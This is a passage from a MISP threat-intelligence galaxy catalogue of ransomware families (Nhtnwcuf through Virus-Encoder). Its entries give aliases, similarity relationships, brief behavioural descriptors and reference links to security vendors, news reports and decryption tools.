https://id-ransomware.blogspot.com/2017/01/netflix-ransomware.html

Nhtnwcuf

Ransomware Does not encrypt the files / Files are destroyed

The tag is: *misp-galaxy:ransomware="Nhtnwcuf"*

Table 13357. Table References

Links
https://twitter.com/demonslay335/status/839221457360195589
http://id-ransomware.blogspot.com/2017/03/nhtnwcuf-ransomware.html

NMoreira

Ransomware

The tag is: *misp-galaxy:ransomware="NMoreira"*

NMoreira is also known as:

- XRatTeam
- XPan

Table 13358. Table References

Links
https://decrypter.emsisoft.com/nmoreira
https://twitter.com/fwosar/status/803682662481174528
id-ransomware.blogspot.com/2016/11/nmoreira-ransomware.html[id-ransomware.blogspot.com/2016/11/nmoreira-ransomware.html]

NoobCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="NoobCrypt"*

Table 13359. Table References

Links
https://twitter.com/JakubKroustek/status/757267550346641408
https://www.bleepingcomputer.com/news/security/noobcrypt-ransomware-dev-shows-noobness-by-using-same-password-for-everyone/
https://id-ransomware.blogspot.com/2016/07/noobcrypt-ransomare-250-nzd.html

Nuke

Ransomware

The tag is: *misp-galaxy:ransomware="Nuke"*

Table 13360. Table References

Links
http://id-ransomware.blogspot.com/2016/10/nuke-ransomware.html

Nullbyte

Ransomware

The tag is: *misp-galaxy:ransomware="Nullbyte"*

Table 13361. Table References

Links
https://download.bleepingcomputer.com/demonslay335/NullByteDecrypter.zip
https://www.bleepingcomputer.com/news/security/the-nullbyte-ransomware-pretends-to-be-the-necrobot-pokemon-go-application/
http://id-ransomware.blogspot.com/2016/08/nullbyte-ransomware.html

ODCODC

Ransomware

The tag is: *misp-galaxy:ransomware="ODCODC"*

Table 13362. Table References

Links
http://download.bleepingcomputer.com/BloodDolly/ODCODCDecoder.zip
http://www.nyxbone.com/malware/odcodc.html
https://twitter.com/PolarToffee/status/813762510302183424
http://www.nyxbone.com/images/articulos/malware/odcodc/1c.png
http://id-ransomware.blogspot.com/2016/05/odcodc-ransomware-rsa-2048.html

Offline ransomware

Ransomware email addresses overlap with .777 addresses

The tag is: *misp-galaxy:ransomware="Offline ransomware"*

Offline ransomware is also known as:

- Vipasana
- Cryakl

View relationships graph

Offline ransomware has relationships with:

- similar: misp-galaxy:ransomware="Cryakl" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Cryakl" with estimative-language:likelihood-probability="likely"

Table 13363. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
http://bartblaze.blogspot.com.co/2016/02/vipasana-ransomware-new-ransom-on-block.html
https://www.ransomlook.io/group/cryakl
https://www.pcrisk.com/removal-guides/11220-cryakl-ransomware
https://securelist.com/the-return-of-fantomas-or-how-we-deciphered-cryakl/86511
https://www.bleepingcomputer.com/news/security/free-decryption-tool-released-for-cryakl-ransomware/
https://www.digital.nhs.uk/cyber-alerts/2018/cc-2542

OMG! Ransomware

Ransomware. Infection: drive-by-download; Platform: Windows; Extorsion by Prepaid Voucher

The tag is: *misp-galaxy:ransomware="OMG! Ransomware"*

OMG! Ransomware is also known as:

- GPCode

View relationships graph

OMG! Ransomware has relationships with:

- similar: misp-galaxy:malpedia="GPCode" with estimative-language:likelihood-probability="likely"

Table 13364. Table References

Links
https://arxiv.org/pdf/2102.06249.pdf

Operation Global III

Ransomware Is a file infector (virus)

The tag is: *misp-galaxy:ransomware="Operation Global III"*

Table 13365. Table References

Links
http://news.thewindowsclub.com/operation-global-iii-ransomware-decryption-tool-released-70341/

Owl

Ransomware

The tag is: *misp-galaxy:ransomware="Owl"*

Owl is also known as:

- CryptoWire

View relationships graph

Owl has relationships with:

- similar: misp-galaxy:malpedia="CryptoWire" with estimative-language:likelihood-probability="likely"

Table 13366. Table References

Links
https://twitter.com/JakubKroustek/status/842342996775448576
https://id-ransomware.blogspot.com/2016/10/cryptowire-ransomware.html

PadCrypt

Ransomware has a live support chat

The tag is: *misp-galaxy:ransomware="PadCrypt"*

View relationships graph

PadCrypt has relationships with:

- similar: misp-galaxy:malpedia="PadCrypt" with estimative-language:likelihood-probability="likely"

Table 13367. Table References

Links

http://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/
https://twitter.com/malwrhunterteam/status/798141978810732544
http://id-ransomware.blogspot.com/2016/04/padcrypt-ransomware.html

Padlock Screenlocker

Ransomware Unlock code is: ajVr/G\ RJz0R

The tag is: *misp-galaxy:ransomware="Padlock Screenlocker"*

Table 13368. Table References

Links
https://twitter.com/BleepinComputer/status/811635075158839296

Patcher

Ransomware Targeting macOS users

The tag is: *misp-galaxy:ransomware="Patcher"*

View relationships graph

Patcher has relationships with:

- similar: misp-galaxy:ransomware="FileCoder" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Patcher" with estimative-language:likelihood-probability="likely"

Table 13369. Table References

Links
https://blog.malwarebytes.com/cybercrime/2017/02/decrypting-after-a-findzip-ransomware-infection/
https://www.bleepingcomputer.com/news/security/new-macos-patcher-ransomware-locks-data-for-good-no-way-to-recover-your-files/

Petya

Ransomware encrypts disk partitions PDFBewerbungsmappe.exe

The tag is: *misp-galaxy:ransomware="Petya"*

Petya is also known as:

- Goldeneye

View relationships graph

Petya has relationships with:

- similar: misp-galaxy:malpedia="Petya" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="GoldenEye Ransomware" with estimative-language:likelihood-probability="likely"

Table 13370. Table References

Links
http://www.thewindowsclub.com/petya-ransomware-decrypt-tool-password-generator
https://www.youtube.com/watch?v=mSqxFjZq_z4
https://blog.malwarebytes.org/threat-analysis/2016/04/petya-ransomware/
https://www.bleepingcomputer.com/news/security/petya-ransomware-returns-with-goldeneye-version-continuing-james-bond-theme/
https://www.ransomlook.io/group/petya

Philadelphia

Ransomware Coded by "The_Rainmaker"

The tag is: *misp-galaxy:ransomware="Philadelphia"*

Table 13371. Table References

Links
https://decrypter.emsisoft.com/philadelphia
www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/[www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/]
http://id-ransomware.blogspot.ru/2016/09/philadelphia-ransomware.html

PizzaCrypts

Ransomware

The tag is: *misp-galaxy:ransomware="PizzaCrypts"*

Table 13372. Table References

Links
http://download.bleepingcomputer.com/BloodDolly/JuicyLemonDecoder.zip
https://id-ransomware.blogspot.com/2016/07/pizzacrypts-ransomware-1.html

PokemonGO

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="PokemonGO"*

Table 13373. Table References

Links
http://www.nyxbone.com/malware/pokemonGO.html
http://www.bleepingcomputer.com/news/security/pokemongo-ransomware-installs-backdoor-accounts-and-spreads-to-other-drives/
https://id-ransomware.blogspot.com/2016/08/pokemongo-ransomware-aes-256.html

Polyglot

Ransomware Immitates CTB-Locker

The tag is: *misp-galaxy:ransomware="Polyglot"*

View relationships graph

Polyglot has relationships with:

- similar: misp-galaxy:malpedia="Polyglot" with estimative-language:likelihood-probability="likely"

Table 13374. Table References

Links
https://support.kaspersky.com/8547
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/

PowerWare

Ransomware Open-sourced PowerShell

The tag is: *misp-galaxy:ransomware="PowerWare"*

PowerWare is also known as:

- PoshCoder

View relationships graph

PowerWare has relationships with:

- similar: misp-galaxy:malpedia="PowerWare" with estimative-language:likelihood-probability="likely"

Table 13375. Table References

Links
https://github.com/pan-unit42/public_tools/blob/master/powerware/powerware_decrypt.py
https://download.bleepingcomputer.com/demonslay335/PowerLockyDecrypter.zip
https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/
http://researchcenter.paloaltonetworks.com/2016/07/unit42-powerware-ransomware-spoofing-locky-malware-family/
http://id-ransomware.blogspot.com/2016/04/powerware-ransomware.html

PowerWorm

Ransomware no decryption possible, throws key away, destroys the files

The tag is: *misp-galaxy:ransomware="PowerWorm"*

Princess Locker

Ransomware

The tag is: *misp-galaxy:ransomware="Princess Locker"*

Table 13376. Table References

Links
https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/
https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/
https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/
http://id-ransomware.blogspot.com/2016/09/princess-locker-ransomware.html

PRISM

Ransomware

The tag is: *misp-galaxy:ransomware="PRISM"*

Table 13377. Table References

Links
http://www.enigmasoftware.com/prismyourcomputerhasbeenlockedransomware-removal/

Ps2exe

Ransomware

The tag is: *misp-galaxy:ransomware="Ps2exe"*

Table 13378. Table References

Links
https://twitter.com/jiriatvirlab/status/803297700175286273

R

Ransomware

The tag is: *misp-galaxy:ransomware="R"*

R is also known as:

- NM3

Table 13379. Table References

Links
https://twitter.com/malwrhunterteam/status/846705481741733892
http://id-ransomware.blogspot.com/2017/03/r-ransomware.html

R980

Ransomware

The tag is: *misp-galaxy:ransomware="R980"*

Table 13380. Table References

Links
https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/
http://id-ransomware.blogspot.com/2016/07/r980-ransomware-aes-256-rsa4096-05.html

RAA encryptor

Ransomware Possible affiliation with Pony

The tag is: *misp-galaxy:ransomware="RAA encryptor"*

RAA encryptor is also known as:

- RAA

- RAA SEP

Table 13381. Table References

Links
https://reaqta.com/2016/06/raa-ransomware-delivering-pony/
http://www.bleepingcomputer.com/news/security/the-new-raa-ransomware-is-created-entirely-using-javascript/
https://id-ransomware.blogspot.com/2016/06/raa-ransomware-aes-256-039-250.html

Rabion

Ransomware RaaS Copy of Ranion RaaS

The tag is: *misp-galaxy:ransomware="Rabion"*

Table 13382. Table References

Links
https://twitter.com/CryptoInsane/status/846181140025282561

Radamant

Ransomware

The tag is: *misp-galaxy:ransomware="Radamant"*

View relationships graph

Radamant has relationships with:

- similar: misp-galaxy:malpedia="Radamant" with estimative-language:likelihood-probability="likely"

Table 13383. Table References

Links
https://decrypter.emsisoft.com/radamant
http://www.bleepingcomputer.com/news/security/new-radamant-ransomware-kit-adds-rdm-extension-to-encrypted-files/
http://www.nyxbone.com/malware/radamant.html
https://id-ransomware.blogspot.com/2016/04/radamant-ransomware.html

Rakhni

Ransomware Files might be partially encrypted

The tag is: *misp-galaxy:ransomware="Rakhni"*

Rakhni is also known as:

- Agent.iih
- Aura
- Autoit
- Pletor
- Rotor
- Lamer
- Isda
- Cryptokluchen
- Bandarchor

View relationships graph

Rakhni has relationships with:

- similar: misp-galaxy:ransomware="Bandarchor" with estimative-language:likelihood-probability="likely"

Table 13384. Table References

Links
https://support.kaspersky.com/us/viruses/disinfection/10556
https://id-ransomware.blogspot.com/2016/07/bandarchor-ransomware-aes-256.html

Ramsomeer

Ransomware Based on the DUMB ransomware

The tag is: *misp-galaxy:ransomware="Ramsomeer"*

Rannoh

Ransomware

The tag is: *misp-galaxy:ransomware="Rannoh"*

Table 13385. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

RanRan

Ransomware

The tag is: *misp-galaxy:ransomware="RanRan"*

RanRan is also known as:

- ZXZ

Table 13386. Table References

Links
https://github.com/pan-unit42/public_tools/tree/master/ranran_decryption
http://researchcenter.paloaltonetworks.com/2017/03/unit42-targeted-ransomware-attacks-middle-eastern-government-organizations-political-purposes/
https://www.bleepingcomputer.com/news/security/new-ranran-ransomware-uses-encryption-tiers-political-messages/

Ransoc

Ransomware Doesn't encrypt user files

The tag is: *misp-galaxy:ransomware="Ransoc"*

View relationships graph

Ransoc has relationships with:

- similar: misp-galaxy:malpedia="Ransoc" with estimative-language:likelihood-probability="likely"

Table 13387. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransoc-desktop-locking-ransomware-ransacks-local-files-social-media-profiles
https://www.bleepingcomputer.com/news/security/ransoc-ransomware-extorts-users-who-accessed-questionable-content/

Ransom32

Ransomware no extension change, Javascript Ransomware

The tag is: *misp-galaxy:ransomware="Ransom32"*

Table 13388. Table References

Links

http://id-ransomware.blogspot.com/2016/04/ransom32.html

RansomLock

Ransomware Locks the desktop

The tag is: *misp-galaxy:ransomware="RansomLock"*

Table 13389. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2009-041513-1400-99&tabid=2

RarVault

Ransomware

The tag is: *misp-galaxy:ransomware="RarVault"*

Table 13390. Table References

Links
http://id-ransomware.blogspot.com/2016/09/rarvault-ransomware.html

Razy

Ransomware

The tag is: *misp-galaxy:ransomware="Razy"*

Table 13391. Table References

Links
http://www.nyxbone.com/malware/Razy(German).html
http://nyxbone.com/malware/Razy.html
http://id-ransomware.blogspot.com/2016/08/razy-ransomware-aes.html

Rector

Ransomware

The tag is: *misp-galaxy:ransomware="Rector"*

Table 13392. Table References

Links
https://support.kaspersky.com/viruses/disinfection/4264

RektLocker

Ransomware

The tag is: *misp-galaxy:ransomware="RektLocker"*

Table 13393. Table References

Links
https://support.kaspersky.com/viruses/disinfection/4264
http://id-ransomware.blogspot.com/2016/08/rektlocker-ransomware.html

RemindMe

Ransomware

The tag is: *misp-galaxy:ransomware="RemindMe"*

Table 13394. Table References

Links
http://www.nyxbone.com/malware/RemindMe.html
http://i.imgur.com/gV6i5SN.jpg
http://id-ransomware.blogspot.com/2016/05/remindme-ransomware-2.html

Rokku

Ransomware possibly related with Chimera

The tag is: *misp-galaxy:ransomware="Rokku"*

View relationships graph

Rokku has relationships with:

- similar: misp-galaxy:malpedia="Rokku" with estimative-language:likelihood-probability="likely"

Table 13395. Table References

Links
https://blog.malwarebytes.org/threat-analysis/2016/04/rokku-ransomware/
https://id-ransomware.blogspot.com/2016/04/rokku-ransomware.html

RoshaLock

Ransomware Stores your files in a password protected RAR file

The tag is: *misp-galaxy:ransomware="RoshaLock"*

Table 13396. Table References

Links
https://twitter.com/siri_urz/status/842452104279134209
https://id-ransomware.blogspot.com/2017/02/allyourdocuments-ransomware.html

Runsomewere

Ransomware Based on HT/EDA2 Utilizes the Jigsaw Ransomware background

The tag is: *misp-galaxy:ransomware="Runsomewere"*

Table 13397. Table References

Links
https://twitter.com/struppigel/status/801812325657440256

RussianRoulette

Ransomware Variant of the Philadelphia ransomware

The tag is: *misp-galaxy:ransomware="RussianRoulette"*

Table 13398. Table References

Links
https://twitter.com/struppigel/status/823925410392080385

SADStory

Ransomware Variant of CryPy

The tag is: *misp-galaxy:ransomware="SADStory"*

Table 13399. Table References

Links
https://twitter.com/malwrhunterteam/status/845356853039190016
http://id-ransomware.blogspot.com/2017/03/sadstory-ransomware.html

Sage 2.2

Ransomware Sage 2.2 deletes volume snapshots through vssadmin.exe, disables startup repair, uses process wscript.exe to execute a VBScript, and coordinates the execution of scheduled tasks via schtasks.exe.

The tag is: *misp-galaxy:ransomware="Sage 2.2"*

Table 13400. Table References

Links
https://malwarebreakdown.com/2017/03/16/sage-2-2-ransomware-from-good-man-gate
https://malwarebreakdown.com/2017/03/10/finding-a-good-man/

Samas-Samsam

Ransomware Targeted attacks -Jexboss -PSExec -Hyena

The tag is: *misp-galaxy:ransomware="Samas-Samsam"*

Samas-Samsam is also known as:

- samsam.exe
- MIKOPONI.exe
- RikiRafael.exe
- showmehowto.exe
- SamSam Ransomware
- SamSam
- Samsam
- Samas

View relationships graph

Samas-Samsam has relationships with:

- similar: misp-galaxy:malpedia="SamSam" with estimative-language:likelihood-probability="likely"

Table 13401. Table References

Links
https://download.bleepingcomputer.com/demonslay335/SamSamStringDecrypter.zip
http://blog.talosintel.com/2016/03/samsam-ransomware.html
http://www.intelsecurity.com/advanced-threat-research/content/Analysis_SamSa_Ransomware.pdf
https://www.bleepingcomputer.com/news/security/new-samsam-variant-requires-special-password-before-infection/
https://www.bleepingcomputer.com/news/security/samsam-ransomware-crew-made-nearly-6-million-from-ransom-payments/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

https://id-ransomware.blogspot.com/2016/03/samsam.html
https://www.ransomlook.io/group/samsam

Sanction

Ransomware Based on HiddenTear, but heavily modified keygen

The tag is: *misp-galaxy:ransomware="Sanction"*

Table 13402. Table References

Links
http://id-ransomware.blogspot.com/2016/05/sanction-ransomware-3.html

Sanctions

Ransomware

The tag is: *misp-galaxy:ransomware="Sanctions"*

Sanctions is also known as:

- Sanctions 2017

Table 13403. Table References

Links
https://www.bleepingcomputer.com/news/security/sanctions-ransomware-makes-fun-of-usa-sanctions-against-russia/
http://id-ransomware.blogspot.com/2017/03/sanctions-2017-ransomware.html

Sardoninir

Ransomware

The tag is: *misp-galaxy:ransomware="Sardoninir"*

Table 13404. Table References

Links
https://twitter.com/BleepinComputer/status/835955409953357825

Satana

Ransomware

The tag is: *misp-galaxy:ransomware="Satana"*

View relationships graph

Satana has relationships with:

- similar: misp-galaxy:malpedia="Satana" with estimative-language:likelihood-probability="likely"

Table 13405. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/06/satana-ransomware/
https://blog.kaspersky.com/satana-ransomware/12558/
https://id-ransomware.blogspot.com/2016/06/satana-ransomware-0.html

Scraper

Ransomware

The tag is: *misp-galaxy:ransomware="Scraper"*

Table 13406. Table References

Links
http://securelist.com/blog/research/69481/a-flawed-ransomware-encryptor/

Serpico

Ransomware DetoxCrypto Variant

The tag is: *misp-galaxy:ransomware="Serpico"*

View relationships graph

Serpico has relationships with:

- similar: misp-galaxy:malpedia="Serpico" with estimative-language:likelihood-probability="likely"

Table 13407. Table References

Links
http://www.nyxbone.com/malware/Serpico.html
http://id-ransomware.blogspot.com/2016/08/serpico-ransomware.html

Shark

Ransomware

The tag is: *misp-galaxy:ransomware="Shark"*

Shark is also known as:

- Atom

View relationships graph

Shark has relationships with:

- similar: misp-galaxy:rat="SharK" with estimative-language:likelihood-probability="likely"

Table 13408. Table References

Links
http://www.bleepingcomputer.com/news/security/the-shark-ransomware-project-allows-to-create-your-own-customized-ransomware/
http://www.bleepingcomputer.com/news/security/shark-ransomware-rebrands-as-atom-for-a-fresh-start/

ShinoLocker

Ransomware

The tag is: *misp-galaxy:ransomware="ShinoLocker"*

Table 13409. Table References

Links
https://twitter.com/JakubKroustek/status/760560147131408384
http://www.bleepingcomputer.com/news/security/new-educational-shinolocker-ransomware-project-released/
https://id-ransomware.blogspot.com/2016/08/shinolocker-ransomware.html

Shujin

Ransomware

The tag is: *misp-galaxy:ransomware="Shujin"*

Shujin is also known as:

- KinCrypt

View relationships graph

Shujin has relationships with:

- similar: misp-galaxy:malpedia="Shujin" with estimative-language:likelihood-probability="likely"

Table 13410. Table References

Links
http://www.nyxbone.com/malware/chineseRansom.html
http://blog.trendmicro.com/trendlabs-security-intelligence/chinese-language-ransomware-makes-appearance/
http://id-ransomware.blogspot.com/2016/05/chinese-ransomware.html

Simple_Encoder

Ransomware

The tag is: *misp-galaxy:ransomware="Simple_Encoder"*

Simple_Encoder is also known as:

- Tilde

Table 13411. Table References

Links
http://www.bleepingcomputer.com/news/security/the-shark-ransomware-project-allows-to-create-your-own-customized-ransomware/
https://id-ransomware.blogspot.com/2016/07/tilde-ransomware-aes-08.html

SkidLocker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="SkidLocker"*

SkidLocker is also known as:

- Pompous

Table 13412. Table References

Links
http://www.bleepingcomputer.com/news/security/pompous-ransomware-dev-gets-defeated-by-backdoor/
http://www.nyxbone.com/malware/SkidLocker.html
http://id-ransomware.blogspot.com/2016/04/pompous-ransomware.html

Smash!

Ransomware

The tag is: *misp-galaxy:ransomware="Smash!"*

Table 13413. Table References

Links
https://www.bleepingcomputer.com/news/security/smash-ransomware-is-cute-rather-than-dangerous/

Smrss32

Ransomware

The tag is: *misp-galaxy:ransomware="Smrss32"*

Table 13414. Table References

Links
http://id-ransomware.blogspot.com/2016/08/smrss32-ransomware.html

SNSLocker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="SNSLocker"*

Table 13415. Table References

Links
http://nyxbone.com/malware/SNSLocker.html
http://nyxbone.com/images/articulos/malware/snslocker/16.png
http://id-ransomware.blogspot.com/2016/05/sns-locker-ransomware-aes-256-066.html

Sport

Ransomware

The tag is: *misp-galaxy:ransomware="Sport"*

Stampado

Ransomware Coded by "The_Rainmaker" Randomly deletes a file every 6hrs up to 96hrs then deletes decryption key

The tag is: *misp-galaxy:ransomware="Stampado"*

Table 13416. Table References

Links

https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221
http://www.bleepingcomputer.com/news/security/stampado-ransomware-campaign-decrypted-before-it-started/
https://decrypter.emsisoft.com/stampado
https://cdn.streamable.com/video/mp4/kfh3.mp4
http://blog.trendmicro.com/trendlabs-security-intelligence/the-economics-behind-ransomware-prices/
https://id-ransomware.blogspot.com/2016/07/stampado-ransomware-1.html

Strictor

Ransomware Based on EDA2, shows Guy Fawkes mask

The tag is: *misp-galaxy:ransomware="Strictor"*

Table 13417. Table References

Links
http://www.nyxbone.com/malware/Strictor.html

Surprise

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Surprise"*

Table 13418. Table References

Links
http://id-ransomware.blogspot.com/2016/05/surprise-ransomware-aes-256.html

Survey

Ransomware Still in development, shows FileIce survey

The tag is: *misp-galaxy:ransomware="Survey"*

Table 13419. Table References

Links
http://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

SynoLocker

Ransomware Exploited Synology NAS firmware directly over WAN

The tag is: *misp-galaxy:ransomware="SynoLocker"*

SZFLocker

Ransomware

The tag is: *misp-galaxy:ransomware="SZFLocker"*

Table 13420. Table References

Links
http://now.avg.com/dont-pay-the-ransom-avg-releases-six-free-decryption-tools-to-retrieve-your-files/
https://id-ransomware.blogspot.com/2016/06/szflocker-polish-ransomware-email.html

TeamXrat

Ransomware

The tag is: *misp-galaxy:ransomware="TeamXrat"*

Table 13421. Table References

Links
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/

TeslaCrypt 0.x - 2.2.0

Ransomware Factorization

The tag is: *misp-galaxy:ransomware="TeslaCrypt 0.x - 2.2.0"*

TeslaCrypt 0.x - 2.2.0 is also known as:

- AlphaCrypt

Table 13422. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.talosintel.com/teslacrypt_tool/

TeslaCrypt 3.0+

Ransomware 4.0+ has no extension

The tag is: *misp-galaxy:ransomware="TeslaCrypt 3.0+"*

Table 13423. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/

TeslaCrypt 4.1A

Ransomware

The tag is: *misp-galaxy:ransomware="TeslaCrypt 4.1A"*

Table 13424. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/
https://www.endgame.com/blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack-chain

TeslaCrypt 4.2

Ransomware

The tag is: *misp-galaxy:ransomware="TeslaCrypt 4.2"*

Table 13425. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/

http://www.bleepingcomputer.com/news/security/teslacrypt-4-2-released-with-quite-a-few-modifications/

Threat Finder

Ransomware Files cannot be decrypted Has a GUI

The tag is: *misp-galaxy:ransomware="Threat Finder"*

TorrentLocker

Ransomware Newer variants not decryptable. Only first 2 MB are encrypted

The tag is: *misp-galaxy:ransomware="TorrentLocker"*

TorrentLocker is also known as:

- Crypt0L0cker
- CryptoFortress
- Teerac

View relationships graph

TorrentLocker has relationships with:

- similar: misp-galaxy:ransomware="CryptoFortress" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"

Table 13426. Table References

Links
http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/
https://twitter.com/PolarToffee/status/804008236600934403
http://blog.talosintelligence.com/2017/03/crypt0l0cker-torrentlocker-old-dog-new.html
http://id-ransomware.blogspot.ru/2016/05/torrentlocker-ransomware-aes-cbc-2048.html

TowerWeb

Ransomware

The tag is: *misp-galaxy:ransomware="TowerWeb"*

Table 13427. Table References

Links
http://www.bleepingcomputer.com/forums/t/618055/towerweb-ransomware-help-support-topic-payment-instructionsjpg/
https://id-ransomware.blogspot.com/2016/06/towerweb-ransonware-100.html

Toxcrypt

Ransomware

The tag is: *misp-galaxy:ransomware="Toxcrypt"*

Table 13428. Table References

Links
https://id-ransomware.blogspot.com/2016/06/toxcrypt-ransomware-aes-crypto-0.html

Trojan

Ransomware

The tag is: *misp-galaxy:ransomware="Trojan"*

Trojan is also known as:

- BrainCrypt

Table 13429. Table References

Links
https://download.bleepingcomputer.com/demonslay335/BrainCryptDecrypter.zip
https://twitter.com/PolarToffee/status/811249250285842432
http://id-ransomware.blogspot.com/2016/12/braincrypt-ransomware.html

Troldesh orShade, XTBL

Ransomware May download additional malware after encryption

The tag is: *misp-galaxy:ransomware="Troldesh orShade, XTBL"*

Troldesh orShade, XTBL is also known as:

- Shade
- Troldesh

Table 13430. Table References

Links
https://www.nomoreransom.org/uploads/ShadeDecryptor_how-to_guide.pdf
http://www.nyxbone.com/malware/Troldesh.html
https://www.bleepingcomputer.com/news/security/kelihos-botnet-delivering-shade-troldesh-ransomware-with-no-more-ransom-extension/
https://id-ransomware.blogspot.com/2016/06/troldesh-ransomware-email.html
https://www.ransomlook.io/group/shade

TrueCrypter

Ransomware

The tag is: *misp-galaxy:ransomware="TrueCrypter"*

Table 13431. Table References

Links
http://www.bleepingcomputer.com/news/security/truecrypter-ransomware-accepts-payment-in-bitcoins-or-amazon-gift-card/
http://id-ransomware.blogspot.com/2016/04/truecrypter-ransomware.html

Turkish

Ransomware

The tag is: *misp-galaxy:ransomware="Turkish"*

Table 13432. Table References

Links
https://twitter.com/struppigel/status/821991600637313024

Turkish Ransom

Ransomware

The tag is: *misp-galaxy:ransomware="Turkish Ransom"*

Table 13433. Table References

Links
http://www.nyxbone.com/malware/turkishRansom.html

UmbreCrypt

Ransomware CrypBoss Family

The tag is: *misp-galaxy:ransomware="UmbreCrypt"*

Table 13434. Table References

Links
http://www.thewindowsclub.com/emsisoft-decrypter-hydracrypt-umbrecrypt-ransomware
https://id-ransomware.blogspot.com/2016/06/umbrecrypt-ransomware-aes.html

UnblockUPC

Ransomware

The tag is: *misp-galaxy:ransomware="UnblockUPC"*

Table 13435. Table References

Links
https://www.bleepingcomputer.com/forums/t/627582/unblockupc-ransomware-help-support-topic-files-encryptedtxt/
http://id-ransomware.blogspot.com/2016/09/unblockupc-ransomware.html

Ungluk

Ransomware Ransom note instructs to use Bitmessage to get in contact with attacker - Secretishere.key - SECRETISHIDINGHEREINSIDE.KEY - secret.key

The tag is: *misp-galaxy:ransomware="Ungluk"*

Table 13436. Table References

Links
http://id-ransomware.blogspot.com/2016/05/bitmessage-ransomware-aes-256-25-btc.html

Unlock92

Ransomware

The tag is: *misp-galaxy:ransomware="Unlock92 "*

Table 13437. Table References

Links
https://twitter.com/malwrhunterteam/status/839038399944224768

http://id-ransomware.blogspot.com/2017/02/unlock26-ransomware.html

VapeLauncher

Ransomware CryptoWire variant

The tag is: *misp-galaxy:ransomware="VapeLauncher"*

Table 13438. Table References

Links
https://twitter.com/struppigel/status/839771195830648833

VaultCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="VaultCrypt"*

VaultCrypt is also known as:

- CrypVault
- Zlader

View relationships graph

VaultCrypt has relationships with:

- similar: misp-galaxy:ransomware="Zlader" with estimative-language:likelihood-probability="likely"

Table 13439. Table References

Links
http://www.nyxbone.com/malware/russianRansom.html
https://www.ransomlook.io/group/vaultcrypt

VBRANSOM 7

Ransomware

The tag is: *misp-galaxy:ransomware="VBRANSOM 7"*

Table 13440. Table References

Links
https://twitter.com/BleepinComputer/status/817851339078336513

VenusLocker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="VenusLocker"*

Table 13441. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/08/venus-locker-another-net-ransomware/?utm_source=twitter&utm_medium=social
http://www.nyxbone.com/malware/venusLocker.html
https://id-ransomware.blogspot.com/2016/08/venuslocker-ransomware-aes-256.html

Virlock

Ransomware Polymorphism / Self-replication

The tag is: *misp-galaxy:ransomware="Virlock"*

Virlock is also known as:

- NSMF

Table 13442. Table References

Links
http://www.nyxbone.com/malware/Virlock.html
http://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/

Virus-Encoder

Ransomware

The tag is: *misp-galaxy:ransomware="Virus-Encoder"*

Virus-Encoder is also known as:

- CrySiS

Table 13443. Table References

Links
http://www.welivesecurity.com/2016/11/24/new-decryption-tool-crysis-ransomware/
http://media.kaspersky.com/utilities/VirusUtilities/EN/rakhnidecryptor.zip
http://www.nyxbone.com/malware/virus-encoder.html

